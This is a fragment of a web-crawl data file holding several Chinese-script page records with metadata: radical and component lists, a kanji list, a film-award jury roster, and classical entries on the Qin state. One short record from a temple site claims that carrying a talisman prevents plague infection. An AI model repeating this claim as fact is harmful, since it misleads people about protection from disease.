矢 自 牛 里 臼 且 者 尢 业 勿 吅 豕 九 雨 匸 酉 殳 幺 皮 戊 兄 尤 穴 分 卜 走 亡 豆 衤 午 林 可 糸 冋 壬 良 氏 肖 由 舌 天 父 夫 见 合 共 甘 乀 非 各 占 少 舟 比 己 羽 开 不 乙 夭 去 戶 朩 巴 束 缶 正 衣 歹 生 京 予 未 旦 乍 其 谷 佥 〢 龙 交 昔 廴 包 旡 支 莫 虍 曷 有 匃 疋 匂 毛 尧 夆 免 禸 韦 也 至 半 乜 内 元 圭 亚 付 丸 申 云 咅 因 尃 兑 勺 聿 加 刖 牙 甲 戸 户 斗 反 冊 亦 上 畐 言 覀 亥 母 青 长 次 吕 甬 丘 川 句 仓 辟 刍 允 甫 牜 只 喿 寿 余 麻 釆 訁 今 头 玄 尚 五 多 并 身 此 鬼 而 介 寺 尗 台 乛 早 夬 鸟 取 之 高 兼 癶 旁 央 气 友 巨 召 音 扁 叟 毎 弚 弔 井 卬 卑 敝 采 胡 厄 门 入 夰 乔 秀 出 公 冈 世 风 相 娄 平 亘 曲 夋 光 辰 宗 卂 兆 化 及 是 曼 禺 区 周 匹 必 军 匋 臽 才 厃 真 亍 果 北 关 登 角 勾 监 咸 两 酋 复 辡 令 逢 某 耒 先 乇 厷 奇 告 百 尺 暴 斩 叐 步 同 乏 末 凶 炎 电 直 爰 双 丑 难 育 弟 品 每 吉 明 匡 星 並 朱 市 鱼 重 廷 失 凡 帀 布 呙 卒 仌 发 瓦 隶 贵 单 片 敫 灰 卓 舀 冎 右 戋 巟 既 吾 叔 夹 亢 甚 员 冬 象 氐 足 襄 前 黑 昌 害 买 禹 齐 垂 壴 曹 本 义 执 弗 ユ 办 专 回 俞 彑 丈 成 易 尔 荅 镸 争 则 更 叉 仑 列 司 屯 东 与 孚 折 七 丩 乞 尼 夸 戎 荒 臣 建 堇 原 当 无 官 永 旨 安 叚 于 異 责 尉 叒 色 代 负 爪 空 苟 克 戒 啇 尹 卯 乑 番 亶 敬 兟 畺 求 三 危 玨 冘 新 亲 任 圥 夌 朿 帛 离 兪 民 奂 男 奉 鬲 枼 卖 孛 罙 奄 昆 奴 帝 崔 矛 敖 苗 居 录 觉 差 巜 思 票 邦 食 唐 童 竟 贲 呆 府 耑 侯 具 兴 骨 兹 肉 卅 桼 祭 急 或 宓 汤 雚 復 玉 乌 属 佰 焦 卪 兵 朋 利 汆 朝 罗 留 曾 路 那 我 约 以 息 串 师 宛 冄 亇 宣 忝 吴 毌 歺 若 家 陏 切 劳 巩 刃 畀 太 敕 冏 矣 夗 尊 亨 章 瓜 匈 甹 却 痂 隐 庄 畕 总 巿 吏 间 嵒 盍 肋 为 耤 竹 靑 円 羔 敏 囱 会 呈 希 尓 充 炭 夃 珀 凧 彔 匝 委 快 黾 叕 詹 彖 宿 君 坴 圤 要 老 贰 道 活 段 契 连 名 金 釒 啚 庶 首 乡 丙 狂 孙 术 书 咠 朵 著 崩 沓 戉 击 夅 武 猋 丐 华 R 南 齿 髟 聚 蚤 史 爻 飞 客 完 产 彦 便 匊 革 面 务 遂 益 迶 吂 皃 弍 洛 疏 戍 畜 氶 丞 烝 冡 死 匍 囷 溥 犾 存 汒 氾 舛 卌 舞 彭 堂 退 谒 臧 豸 宅 遣 普 翏 射 迷 胃 皆 宜 門 巫 旬 戕 式 斥 库 壮 伏 春 累 它 爿 血 黄 贞 叀 茲 乎 秋 叩 左 贯 征 叁 店 向 彗 县 艾 攸 如 圣 盾 卸 孔 下 肯 穵 受 欣 疌 岛 肙 圼 旱 困 爭 曳 康 宁 犮 叧 圡 夏 冝 刁 赖 董 感 歨 景 屈 妟 卷 匀 刑 保 朔 屰 屮 苋 野 爵 啬 虚 黒 疾 夲 昏 波 卉 宩 厈 阿 坐 虽 舍 拉 肃 畏 弁 剌 郭 郞 疐 桑 索 海 冒 吊 恩 欶 巛 觜 厓 厉 妾 孟 定 斿 巻 巷 昷 査 度 洰 参 肴 函 弯 夜 刷 张 闰 农 州 顷 写 眇 显 亭 兰 然 享 孰 能 昭 皇 考 乐 贱 频 替 寅 宾 虑 带 衮 容 奚 到 冗 亏 郑 掌 攴 尙 孝 凹 赞 樊 另 斯 散 率 凸 罢 聂 隽 般 阁 乘 屋 臿 奏 柔 旉 毋 豙 尝 诸 哥 夷 窄 貝 刅 冉 疑 杲 兔 对 氿 妻 爱 知 昍 析 ㇉\nMy email is email@example.com","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/how-do-i-find-a-chinese-character.com\/chinese.php","date":"2020-10-27T11:53:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107894175.55\/warc\/CC-MAIN-20201027111346-20201027141346-00173.warc.gz","language":"lzh","language_score":0.5756853223,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5756853222846985, \"cmn_Hani_score\": 0.40935859084129333, \"nan_Hani_score\": 0.014383151195943356}","num_words":977,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.486,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.634,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"瘟 疫 包 括 由 雞 瘟 鼠 疫 等,古 代 發 生 瘟 役 時,中 醫 中 藥 肩 負 醫 治 重 任\n中 醫 藥 未 能 兼 顧 的 偏 遠 地 區,每 每 求 神 祗 制 瘟 疫\n在 神 學 而 言 瘟 疫 屬 瘟 神,故 神 功 流 傳 下 來 有 避 瘟 神 之 符 籙\n只 要 身 帶 避 瘟 疫 靈 符,本 館 經 驗 所 得 未 見 過 有 人 感 染 瘟 疫,正 是 信 者 得 救 !!","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.lukyam.hk\/04\/04_007.htm","date":"2021-03-01T04:07:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178361849.27\/warc\/CC-MAIN-20210301030155-20210301060155-00593.warc.gz","language":"lzh","language_score":0.5461242795,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.546124279499054, \"cmn_Hani_score\": 0.35846394300460815, \"yue_Hani_score\": 0.06998466700315475, \"nan_Hani_score\": 0.02546689659357071}","num_words":95,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.505,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.657,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"【资料】中国电影金鸡奖历届评委会成员!\n于 敏 于 蓝 于彦夫 王心刚 王树忱 羽 奇 李 准 余 倩 何钟辛 沈嵩生 汤晓丹 张 弦 陆柱国 武兆堤 林 杉 罗艺军 郑洞天 钟惦棐 凌子风 程季华 谢 晋 鲁彦周丁荫楠 马德波 王君正 成志伟 孙飞虎 杨国还 李 羚 李文斌 何 平 何 群 肖桂云 汪 流 陆寿钧 陆柱国 陈光忠 陈景亮 金复载 赵有亮 殷培龙 高鸿鹄 梁光弟 黄亚洲 黄蜀芹 彭加瑾 董克娜丁 峤 马德波 王好为 石方禹 李 纬 李天济 李娴娟 邵牧君 张 良 张 清 张暖忻 罗艺军 周 予 郑雪来 胡炳榴 钱运达 徐桑楚 黄宗江 谢 飞 谢 芳 谢 晋 蔡师勇 颜学恕于 敏 王人殷 王晓棠 方润南 田军利 冯小宁 齐兴家 达式常 李 准 李歇浦 何钟辛 余 倩 邵牧君 孟犁野 郑雪来 徐志义 高鸿鹄 凌子风 萧 穆 常 彦 梁光弟 谢逢松 蔡继渭 滕文骥 滕进贤于本正 王晓棠 艾明之 田军利 许还山 孙兴远 李 准 李 准 李少白 李晋生 苏 里 张 弦 张今标 张思涛 陆小雅 陈 播 陈光忠 林洪桐 孟犁野 胡 健 胡炳榴 段孝萱 奚姗姗 梅 朵 梁光弟 傅正义丁荫楠 于 敏 王玉梅 王君正 石方禹 仲呈祥 刘 琼 杨光远 余 倩 邵牧君 张 清 张松林 张暖忻 陈 冀 陈怀皑 罗艺军 周 予 周民震 郑 义 胡 健 秦裕权 徐 庄 高维进 黄蜀芹于 敏 于彦夫 邓葆宸 艾明之 严定宪 何钟辛 沈嵩生 张瑞芳 陆柱国 林 杉 罗艺军 赵焕章 胡炳榴 钟惦棐 祝希娟 凌子风 黄宗英 梁 信 韩尚义 程季华 谢 添于 敏 于彦夫 王为一 王好为 叶 丹 吕 虹 刘 琼 齐兴家 苏叔阳 张思涛 陆柱国 陈 播 林洪桐 胡 健 祝希娟 夏振亚 钱运达 郭 维 桑 弧 崔君衍 蔡师勇 滕进贤于 敏 于 蓝 王 炎 王林谷 艾明之 刘建中 孙 谦 李兴叶 李振羽 余 倩 张 辉 陆柱国 邵牧君 武兆堤 周克勤 郝 光 姜树森 袁小平 徐桑楚 郭 维 黄式宪 蔡师勇于 伶 于 敏 水 华 王家乙 田 华 成 荫 李 俊 李英敏 吴贻弓 苏 里 张瑞芳 陈白尘 林 杉 武兆堤 罗艺军 特 伟 钟惦棐 洪 林 钱筱璋 黄宗江 程季华 谢 飞 谢 晋于 敏 许还山 苏 云 吴天明 沈嵩生 张 清 张骏祥 陆小雅 陆柱国 陈家林 邵牧君 林 杉 罗艺军 钟惦棐 倪 震 郭 维 席志杰 桑 弧 雷震霖 詹同渲 潘 虹于 敏 马守清 石方禹 白 沉 丛连文 齐兴家 许南明 孙 羽 杨在葆 吴贻弓 邵牧君 汪洋 沈嵩生 张艺谋 陈怀皑 陈剑雨 罗艺军 郑洞天 郑振瑶 赵立魁 郝玉生 胡进庆 倪 震 梅朵 黄宗江 常 彦 蔡师勇白 沉 史蜀君 严寄洲 李仁堂 苏叔阳 吴子牛 邹士明 汪 流 汪天云 宋晓英 张 良 张兆龙 陈晓光 周康渝 孟犁野 赵立魁 秦裕权 夏 钢 高天红 顾泉雄 凌 纾 崔君衍 鲁彦周 颜学恕丁 峤 于 敏 王 迪 王永宏 石方禹 石梅音 许 雷 李 准 李雪健 苏叔阳 吴贻弓 张军钊 张郁强 陈剑雨 陈家林 孟犁野 郝 光 胡炳榴 姜树森 黄宗江 黄建新 黄蜀芹 常光希 程季华 滕进贤于 敏 于 蓝 水 华 王 苹 王家乙史 超 白 杨 沈 浮 张天民 陈鲤庭 金 山 罗艺军 林 杉 柯 灵 钟惦棐 洪 林 钱筱璋 特 伟 梅 朵 程季华 谢 飞 谢铁骊于 敏 万籁鸣 王 炎 王心刚 卢 珏 叶 楠 司徒慧敏 李英敏 苏 里 成 荫 张 清 孙道临 陈光忠 陈怀皑 林 杉 罗艺军 郑洞天 钟惦棐 桑 弧 秦 怡 程季华 鲁彦周","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.her0inchic.com\/wfcpappkhd\/2020\/0106\/1418.html","date":"2020-01-27T20:03:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251705142.94\/warc\/CC-MAIN-20200127174507-20200127204507-00162.warc.gz","language":"lzh","language_score":0.6122734547,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6122734546661377, \"cmn_Hani_score\": 0.3379366993904114, \"nan_Hani_score\": 0.03882402926683426}","num_words":480,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.323,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.622,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"常用漢字の一覧表示(G8)見たい漢字をクリックしてください。漢字カードを表示します。\n豚 猫 疲 遅 彼 奥 忙 渡 寝 婚 離 涼 違 払 絡 泊 到 押 脱 驚 狭 眠 較 嫁 殻 恐 挟 巧 攻 傘 煮 襲 刃 怒 普 符 膚 齢 亜 哀 握 扱 依 偉 威 尉 慰 為 維 緯 井 壱 逸 稲 芋 姻 陰 隠 韻 渦 浦 影 詠 鋭 疫 悦 謁 越 閲 宴 援 炎 煙 猿 縁 鉛 汚 凹 欧 殴 翁 沖 憶 乙 卸 穏 佳 寡 暇 架 禍 稼 箇 華 菓 蚊 雅 餓 介 塊 壊 怪 悔 懐 戒 拐 皆 劾 慨 概 涯 該 垣 嚇 核 獲 穫 郭 隔 岳 掛 潟 喝 括 渇 滑 褐 轄 且 刈 乾 冠 勘 勧 喚 堪 寛 患 憾 換 敢 棺 款 歓 汗 環 甘 監 緩 缶 肝 艦 貫 還 鑑 閑 陥 含 頑 企 奇 岐 幾 忌 既 棋 棄 祈 軌 輝 飢 騎 鬼 偽 儀 宜 戯 擬 欺 犠 菊 吉 喫 詰 却 脚 虐 丘 及 朽 窮 糾 巨 拒 拠 虚 距 享 凶 叫 峡 恭 況 狂 矯 脅 響 仰 凝 暁 斤 琴 緊 菌 襟 謹 吟 駆 愚 虞 偶 遇 隅 屈 掘 靴 繰 桑 勲 薫 傾 刑 啓 契 恵 慶 憩 掲 携 渓 継 茎 蛍 鶏 迎 鯨 撃 傑 倹 兼 剣 圏 堅 嫌 懸 献 肩 謙 賢 軒 遣 顕 幻 弦 玄 孤 弧 枯 誇 雇 顧 鼓 互 呉 娯 御 悟 碁 侯 坑 孔 恒 慌 抗 拘 控 更 江 洪 溝 甲 硬 稿 絞 綱 肯 荒 衡 貢 購 郊 酵 項 香 剛 拷 豪 克 酷 獄 腰 込 墾 恨 懇 昆 紺 魂 佐 唆 詐 鎖 債 催 宰 彩 栽 歳 砕 斎 載 剤 咲 崎 削 搾 索 錯 撮 擦 惨 桟 暫 伺 刺 嗣 施 旨 祉 紫 肢 脂 諮 賜 雌 侍 慈 滋 璽 軸 執 湿 漆 疾 芝 赦 斜 遮 蛇 邪 勺 爵 酌 釈 寂 朱 殊 狩 珠 趣 儒 寿 需 囚 愁 秀 臭 舟 酬 醜 充 柔 汁 渋 獣 銃 叔 淑 粛 塾 俊 瞬 准 循 旬 殉 潤 盾 巡 遵 庶 緒 叙 徐 償 匠 升 召 奨 宵 尚 床 彰 抄 掌 昇 晶 沼 渉 焦 症 硝 礁 祥 称 粧 紹 肖 衝 訟 詔 詳 鐘 丈 冗 剰 壌 嬢 浄 畳 譲 醸 錠 嘱 飾 殖 触 辱 伸 侵 唇 娠 審 慎 振 浸 紳 薪 診 辛 震 尋 甚 尽 迅 陣 酢 吹 帥 炊 睡 粋 衰 遂 酔 錘 随 髄 崇 枢 据 杉 澄 瀬 畝 是 姓 征 牲 誓 請 逝 斉 隻 惜 斥 析 籍 跡 拙 摂 窃 仙 占 扇 栓 潜 旋 繊 薦 践 遷 銑 鮮 漸 禅 繕 塑 措 疎 礎 租 粗 訴 阻 僧 双 喪 壮 捜 掃 挿 曹 槽 燥 荘 葬 藻 遭 霜 騒 憎 贈 促 即 俗 賊 堕 妥 惰 駄 耐 怠 替 泰 滞 胎 袋 逮 滝 卓 択 拓 沢 濯 託 濁 諾 但 奪 棚 丹 嘆 淡 端 胆 鍛 壇 弾 恥 痴 稚 致 畜 蓄 逐 秩 窒 嫡 抽 衷 鋳 駐 弔 彫 徴 懲 挑 眺 聴 脹 超 跳 勅 朕 沈 珍 鎮 陳 津 墜 塚 漬 坪 釣 亭 偵 貞 呈 堤 帝 廷 抵 締 艇 訂 逓 邸 泥 摘 滴 哲 徹 撤 迭 添 殿 吐 塗 斗 途 奴 倒 凍 唐 塔 悼 搭 桃 棟 盗 痘 筒 謄 踏 逃 透 陶 騰 闘 洞 胴 峠 匿 督 篤 凸 突 屯 曇 鈍 縄 軟 尼 弐 如 尿 妊 忍 寧 粘 悩 濃 把 覇 婆 廃 排 杯 輩 培 媒 賠 陪 伯 拍 舶 薄 迫 漠 爆 縛 肌 鉢 髪 伐 罰 抜 閥 伴 帆 搬 畔 繁 般 藩 販 範 煩 頒 盤 蛮 卑 妃 扉 披 泌 碑 罷 被 避 尾 微 匹 姫 漂 描 苗 浜 賓 頻 敏 瓶 怖 扶 敷 浮 腐 譜 賦 赴 附 侮 舞 封 伏 幅 覆 沸 噴 墳 憤 紛 雰 丙 併 塀 幣 弊 柄 壁 癖 偏 遍 舗 捕 穂 募 慕 簿 倣 俸 奉 峰 崩 抱 泡 砲 縫 胞 芳 褒 邦 飽 乏 傍 剖 坊 妨 帽 房 某 冒 紡 肪 膨 謀 僕 墨 撲 朴 没 堀 奔 翻 凡 盆 摩 磨 魔 麻 埋 膜 又 抹 繭 慢 漫 魅 岬 妙 矛 霧 婿 娘 銘 滅 免 茂 妄 猛 盲 網 耗 黙 戻 紋 匁 厄 躍 柳 愉 癒 諭 唯 幽 悠 憂 猶 裕 誘 雄 融 与 誉 庸 揚 揺 擁 溶 窯 謡 踊 抑 翼 羅 裸 頼 雷 酪 欄 濫 吏 履 痢 硫 粒 隆 竜 慮 虜 了 僚 寮 猟 療 糧 陵 倫 厘 隣 塁 涙 累 励 鈴 隷 零 霊 麗 暦 劣 烈 裂 廉 恋 錬 炉 露 廊 楼 浪 漏 郎 賄 惑 枠 湾 腕","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.mokosystem.com\/komori\/wwkanji2k\/kanjilist_G8.html","date":"2021-10-19T08:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585246.50\/warc\/CC-MAIN-20211019074128-20211019104128-00700.warc.gz","language":"lzh","language_score":0.6986742616,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6986742615699768, \"cmn_Hani_score\": 0.23069435358047485, \"yue_Hani_score\": 0.03711922839283943, \"nan_Hani_score\": 0.027698813006281853}","num_words":940,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.493,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"秦 ,周之諸侯也。嬴姓趙氏,周武王以其善養馬,封於秦,以爲附庸。平王元年,遷洛邑,以秦襄公有護王之功,建諸侯,據故宗周地。 秦德公元年都雍,至秦獻公二年遷櫟陽,居雍凡三百年,故城遺跡尚存。 春秋中,秦繆公欲霸,敗於晉殽,乃轉而西向,霸西戎。 其勢不及晉、楚。至秦孝公用商鞅變法。其子秦惠文王僭王號、滅蜀,遂成大國。山東諸國欲合縱弱秦,爲秦張儀連橫所解。秦莊襄王間滅周,秦王政二十六年盡滅六國,一統天下。又十五年亡。自非子起共卅七可考之主。起襄公元年甲子至二世三年甲午,傳二十七世,三十二君。凡五百七十一年。\n秦孝公 , 嬴 姓, 趙 氏,諱 渠梁 ,一作 秦平王 。秦獻公之子,戰國時秦君。\n秦松 字 文表 ,漢廣陵人也。與同郡人張紘並見侍於孫策,參與謀謨。早卒。\n秦襄公 , 嬴 姓, 趙 氏,名未詳,載其名曰 開 ,惟此小說家言耳。秦莊公次子也,享國十二年。乃秦始受封為諸侯之首代國君。 莊公四十四年,秦莊公薨,長子世父因伐西戎,讓位于弟秦襄公,秦襄公代立。 襄公元年,襄公以女弟繆嬴為西戎豐王妻。 二年,襄公遷都於汧,秦國勢力東移。同年,西戎圍西犬丘,公子世父率師擊之,為戎人所虜。歲余,複歸世父。 七年春,周幽王從褒姒廢太子,立褒姒子為適,數欺諸侯,諸侯叛之。西戎犬戎與申侯伐周,弒幽王酈山下。而秦襄公將兵救周,戰甚力,有功。周避犬戎難,東徙雒邑,襄公以兵送周平王。平王封襄公為諸侯,賜之岐以西之地。曰:「戎無道,侵奪我岐、豐之地,秦能攻逐戎,即有其地。」與誓,封 ...\n秦景公 , 嬴 姓, 秦 氏,諱 石 ,秦桓公之子,春秋時秦君。\n秦獻公 , 嬴 姓, 秦 氏,一作 元獻公 、 元王 ,諱 師隰 ,一作 連 ,秦靈公之子。戰國時秦君,立二十三年,一作二十四年。\n小篆 者,秦始皇丞相李斯所作也。增損大篆,異同籀文,謂之小篆。亦曰 秦篆 。始皇二十六年,始并六國。斯時為廷尉,乃奏罷不合秦文者。於是天下行之畫,如鐵石字,若飛動作,楷隸之祖,為不易之法。其銘題鍾鼎及作符印,至今用焉。則之六二︰「黃離元吉,得中道也。」斯雖草創,遂造其極矣。 蔡邕小篆,讚龜文斜列櫛,比龍鱗隤,若黍稷之垂。穎蘊若蟲蛇之棼縕,若絕若連,似水露緣,絲凝垂下。端遠而望之,象鴻鵠群遊,絡繹遷延。研桑不能數其詰,曲離婁不能睹其隙。間般垂揖,讓而辭巧,籀誦拱手,而韜翰摛華艷於紈素,為六藝之範先,李斯即小篆之祖也。 小篆之後又別為八,曰鼎小篆,曰薤葉篆,曰垂露篆,曰懸針篆,曰纓絡篆,曰柳葉篆, ...\n秦觀 ,字 少遊 ,一字 太虛 ,揚州高郵人。少豪雋,慷慨溢於文詞,舉進士不中。強志盛氣,好大而見奇,讀兵家書與己意合。見蘇軾于徐,為賦黃樓,軾以為有屈、宋才。又介其詩于王安石,安石亦謂清新似鮑、謝。軾勉以應舉為親養,始登第,調定海主簿、蔡州教授。元祐初,軾以賢良方正薦於朝,除太學博士,校正秘書省書籍。遷正字,而復為兼國史院編修官,上日有硯墨器幣之賜。 紹聖初,坐黨籍,出通判杭州。以御史劉拯論其增損實錄,貶監處州酒稅。使者承風望指,候伺過失,既而無所得,則以謁告寫佛書為罪,削秩徙郴州,繼編管橫州,又徙雷州。徽宗立,復宣德郎,放還。至藤州,出遊華光亭,為客道夢中長短句,索水欲飲,水至,笑視之而卒。 ...\n秦嘉 ,字 士會 ,漢隴西人也。為郡生掾,其妻徐淑,寢疾還家,不獲面別,贈詩云:「人生譬朝露,居世多屯蹇,憂艱常早至,歡會常苦晚。念當奉時役,去爾日遙遠。遣車迎子還,空往復空返。省書情悽愴,臨食不能飯。獨坐空房中,誰與相勸勉?長夜不能眠,伏枕獨輾轉,憂來如尋環,匪席不可卷。」 嘉報以詩云:「帝靈無私親,為善荷天祿。傷我與爾身,少小惟煢獨。既得結大義,歡樂苦不足。念當遠離別,思念敘疑曲。河廣無舟梁,道遠隔丘陸,臨路懷惆悵,中駕正躑躅,浮雲起高山,悲風激深谷,良馬不回鞍,輕車不轉轂。針藥可屢進,愁思難為數,貞士篤終始,恩義不可屬。肅肅僕夫征,鏘鏘揚和鈴,清晨當引邁,束帶待雞鳴。顧看空室中,髣彿想姿 ...\n王離 ,秦將王翦之孫、王賁之子,秦時名將。封 武城侯 ,繼其父為上將軍,率兵戍邊備胡。\nⓘ 秦書\n- 始爲諸侯 秦 文公 秦 憲公立 秦 出子 秦 武公 秦 德公 遷雍 秦 宣公 秦 成公 秦穆公任好 秦 康公英 秦 共公和 秦 桓公榮 秦 景公石 僭天子葬儀 秦 哀公 秦 惠公 與孔子同時 秦 悼公 秦 內亂 伍封平之 立嬴利 秦 厲共公利 秦 躁公 秦 懷公 秦 靈公 秦 簡公悼 秦 惠公 秦 出公 秦 獻公師隰 秦 孝公渠梁 秦 惠文王駟 秦 武王盪\n- 秦 孝公 嬴姓 趙氏 諱渠梁 一作 秦 平王 秦 獻公之子 戰國時 秦 君 獻公四年正月庚寅生 孝公用商鞅之法 內獎耕戰 遷都於咸陽 建縣制 開阡陌 累進農產 外 秦 與楚親 與韓訂約 連齊 趙伐魏都安邑 拓地至洛以東 其國日強 秦 遂一統 孝公二十四年 孝公疾 欲讓於商鞅 鞅辭不受 薨 葬弟圉 其子惠文王\n- 尚書 本名 書 後人見其久遠 自尚世而來 故曰 尚書 漢以降 爲五經 故亦名 書 經 古史記言之文也 合五十有六篇 三代時為學者所重 孔子以爲教本 七十子之徒 子張 漆彫開從治 書 焉 至戰國 孟子亦重 書 時引之以自重 秦 焚書 獨重 詩 書 有敢私藏者族 漢興數十年 廢挾 書 令 伏生乃憶述 書 復傳於世焉\n- 秦 松字文表 漢廣陵人也 與同郡人張紘並見侍於孫策 參與謀謨 早卒 三國志 吳 書 八 張嚴程闞薛傳\n- 秦 襄公 嬴姓 趙氏 名未詳 東周列國志 載其名曰開 惟此小說家言耳 秦 莊公次子也 享國十二年 乃 秦 始受封為諸侯之首代國君 莊公四十四年 秦 莊公薨 長子世父因伐西戎 讓位于弟 秦 襄公 秦 襄公代立 襄公元年 襄公以女弟繆嬴為西戎豐王妻 二年 襄公遷都於汧 秦國勢力東移 同年 西戎圍西犬丘 公子世\n- 晉復丞相號 別於司徒之上 非尋常人臣之職也 丞相失權 宰職以中 書 侍中 尚書分領 中 書 者 中尚書也 始 秦 皇定制 以尚書為少府之屬 掌圖書章奏 大將軍置 事決內廷 尚書權日重 復以宦者便於禁中 置中 書 謁者令 後魏郡王氏諸公掌權 罷中 書 建武間 改尚書為尚書令 分置六曹 事權至重 其後戚宦繼起 尚書\n- 秦 景公 嬴姓 秦 氏 諱石 秦 桓公之子 春秋時 秦 君 桓公二十七年 桓公薨 其子景公立 景公十三年 秦 景公使士雃請楚伐晉 子囊以晉強 秦 弱 說楚共王弗出兵 王不聽 秋 楚共王屯武城 秦 遂伐晉 晉時飢荒 力不能擊 明年 晉悼公使荀罃伐 秦 十五年 楚共王伐鄭 並遣子囊求於 秦\n- 晉戰於石門 斬首六萬 天子賀以黼黻 二十三年 與魏晉戰少梁 虜其將公叔痤 是年 獻公薨 子孝公立 年已二十一歲矣 止從死 結親貴 遷都 行賈 編戶 立縣制 收河西 秦 靈公 長子 公子虔 次子 季昌 三子 秦 孝公 子 秦 惠文王 世本 越絕 書 史記索隱 史記 秦 本紀 史記 六國年表\n- 秦 嬴 魏大夫 見魏文侯所使 弒晉幽公 亦誅 秦 嬴 竹 書 紀年\n- 小篆者 秦始皇丞相李斯所作也 增損大篆 異同籀文 謂之小篆 亦曰 秦 篆 始皇二十六年 始并六國 斯時為廷尉 乃奏罷不合 秦 文者 於是天下行之畫 如鐵石字 若飛動作 楷隸之祖 為不易之法 其銘題鍾鼎及作符印 至今用焉 則 離 之六二 黃離元吉 得中道也 斯雖草創 遂造其極矣","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/a20\/1\/%E7%A7%A6%E6%9B%B8.html","date":"2021-12-03T04:03:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00444.warc.gz","language":"lzh","language_score":0.7953341603,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7953341603279114, \"cmn_Hani_score\": 0.17289236187934875, \"nan_Hani_score\": 0.02655855379998684}","num_words":393,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.95,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"该网站是为西方人设计的,包含HSK汉字。从部首组成汉字!只需单击屏幕上的这些 部首就可以从中组成一个汉字.\n单击屏幕上的这些 部首:\n一 丶 口 十 丷 日 又 人 丨 木 彐 土 厂 E 亠 冖 扌 丿 儿 八 月 氵 大 亻 田 冂 目 ◫ 艹 宀 厶 贝 广 匕 囗 讠 兀 丆 乚 乂 王 小 冫 夂 心 立 纟 止 女 士 刂 弋 山 丅 匚 巾 阝 丁 尸 寸 亅 中 几 勹 忄 力 火 戈 干 千 禾 亼 左 钅 ヌ コ 了 车 刀 工 夕 斤 肀 白 米 隹 攵 艮 廿 水 万 丂 方 文 子 爫 彳 石 页 习 欠 弓 廾 虫 灬 疒 凵 罒 用 卄 丰 皿 犭 礻 氺 主 巳 古 犬 耳 马 二 彡 六 耂 丬 卩 右 示 辛 饣 西 从 羊 乃 手 矢 自 臼 里 且 者 尢 牛 雨 豕 业 殳 酉 九 匸 勿 吅 幺 戊 兄 尤 皮 卜 穴 分 可 冋 午 衤 亡 糸 走 豆 林 肖 见 父 氏 壬 由 合 天 夫 共 良 舌 舟 开 少 非 比 各 甘 羽 己 占 乀 去 乙 不 夭 衣 戶 束 正 朩 巴 缶 未 包 旡 其 龙 交 歹 予 京 生 乍 佥 谷 〢 廴 旦 昔 匂 匃 曷 禸 疋 圭 支 尧 至 半 ス 夆 有 亚 免 虍 内 乜 莫 元 毛 也 咅 覀 吕 付 母 甲 言 上 亦 反 丸 斗 辟 户 甫 长 申 丘 刍 勺 戸 兑 因 句 韦 牙 允 川 加 聿 畐 刖 冊 亥 甬 青 云 仓 次 尃 五 多 身 尗 旁 扁 头 鬼 余 介 只 喿 此 釆 夬 訁 牜 今 并 玄 麻 之 台 鸟 入 寺 尚 取 央 气 召 巨 友 兼 寿 高 早 癶 乛 而 音 弚 曲 周 咸 平 敝 秀 果 公 酋 叟 登 北 真 亘 必 监 勾 卑 世 娄 亍 才 门 宗 卬 角 卂 出 弔 毎 风 厃 曼 夰 乔 兆 区 化 厄 井 是 及 禺 冈 军 匹 关 夋 采 匋 相 臽 光 胡 两 辰 告 双 汆 百 辡 步 叔 末 奇 並 鱼 先 舀 冎 直 电 爰 某 令 叐 乇 厷 弟 匡 桼 吉 尺 凶 难 灰 卓 暴 每 发 吾 仌 炎 廷 隶 明 失 星 卒 呙 戋 右 逢 朱 育 丑 品 同 重 单 敫 复 片 耒 既 斩 巟 市 凡 帀 布 瓦 贵 乏 夹 员 折 本 执 齐 义 俞 成 易 亢 买 丈 冬 垂 曹 氐 足 象 襄 前 壴 害 黑 禹 办 丩 弗 专 镸 ユ 则 仑 屯 回 更 叉 司 列 甚 争 尔 荅 乞 与 昌 孚 七 彑 东 夸 安 当 堇 色 旨 戎 官 荒 尼 尉 叚 负 異 于 爪 无 叒 永 兵 建 臣 代 奄 民 兟 朿 戒 啇 卯 乑 番 亶 敬 苟 求 克 三 玨 危 新 亲 冘 任 夌 圥 尹 帛 离 巜 奂 卖 奉 鬲 枼 男 孛 罙 空 崔 昆 帝 奴 敖 矛 苗 居 畺 觉 差 录 原 